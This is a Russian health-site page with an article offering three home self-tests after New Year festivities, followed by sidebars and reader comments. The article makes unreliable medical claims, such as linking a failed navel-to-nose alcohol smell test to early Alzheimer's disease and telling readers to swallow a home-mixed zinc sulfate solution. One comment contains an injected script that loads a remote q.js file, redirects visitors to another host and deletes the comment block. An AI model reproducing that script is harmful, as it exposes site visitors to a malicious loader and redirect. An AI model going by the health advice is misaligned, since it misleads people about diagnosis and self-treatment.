Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Не навредили ли вы себе, ...  >>  Не навредили ли вы себе, отмечая Новый год?
 
Обратная связь
 

Не навредили ли вы себе, отмечая Новый год?

Размер шрифта
11 января 2012 07:32
  • google_analytics: false
  • Нравится

Пройдите 3 теста и узнайте, не навредили ли вы себе, отмечая Новый год.

/

  1. Тест с запястьями

Опустите руки вниз и нажимайте по очереди на ваши запястья в течение 10 секунд. Если вы почувствуете онемение или покалывание в большом или указательном пальце – у вас пережаты нервные окончания.

При тоннельном синдроме нерв, контролирующий чувствительность ладони, большого, указательного и среднего пальцев руки, пережимается или сдавливается.

Что делать?

  • Для нормальной чувствительности в конечностях принимайте 10 микрограмм витамина В 12 каждый день.
  • Источник витамина В 12 – пища животного происхождения: печень, рыба, молочные продукты, мясо, яйцо.
  1. Тест на запах

Возьмите ватный тампон, намочите его в спирте и приложите к пупку. Сделайте вдох, чувствуете ли вы запах спирта? Если нет, то постепенно подносите тампон к носу, почувствовали запах?

Если вы чувствуете запах в 12 см от вашего носа, на уровне груди – это норма. Если вы не можете распознать запах в 12 см от носа – это указывает на потерю обоняния. А это – первый симптом развивающейся болезни Альцгеймера, когда разрушается гематоэнцефалический барьер мозга.

Что делать?

  • Чтобы укрепить оболочку нейронов мозга, которая защищает нервные волокна и улучшает проведение нервного импульса, нужно употреблять продукты, богатые Омега-3 жирными кислотами. Тем самым вы снизите риски старческого слабоумия. Источник Омега-3 жирных кислот – рыбий жир.
  • Исключите из рациона консерванты. Они содержатся в продуктах, которые могут долго храниться. Консерванты разрушают оболочку нейронов.
  1. Тест на вкус

Смешайте 1 грамм сульфата цинка с 1 литром очищенной воды. Встряхните, покрутите вокруг и подержите чайную ложку с этой жидкостью во рту 10 секунд. Потом можете проглотить.

В норме во рту должен появиться металлический привкус. Если его нет – у вас проблема с рецепторами вкуса.

Что делать?

  • Принимайте 15 мг цинка ежедневно. Цинк восстанавливает вкус. Суточная доза цинка для взрослого человека – 15 мг в день. Цинком богаты устрицы, печень, тыквенные семечки.
  • Если в течение 2-3 недель вкусовые рецепторы не восстановились, обратитесь к врачу.

Сюжеты по теме:
Оборотная сторона праздников. Не навредили ли вы себе в Новый год?

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:01

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Оживаем после нового года без лекарств   Суперпродукты до и после застолья   Как не грустить в новом году   Как продержаться всю новогоднюю ночь  

Слайдшоу

Что делать, чтобы новогодние желания сбылись Как сменить кожу к Новому году: 6 секретов
Спасите ноги от грибка перед новым годом!    
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.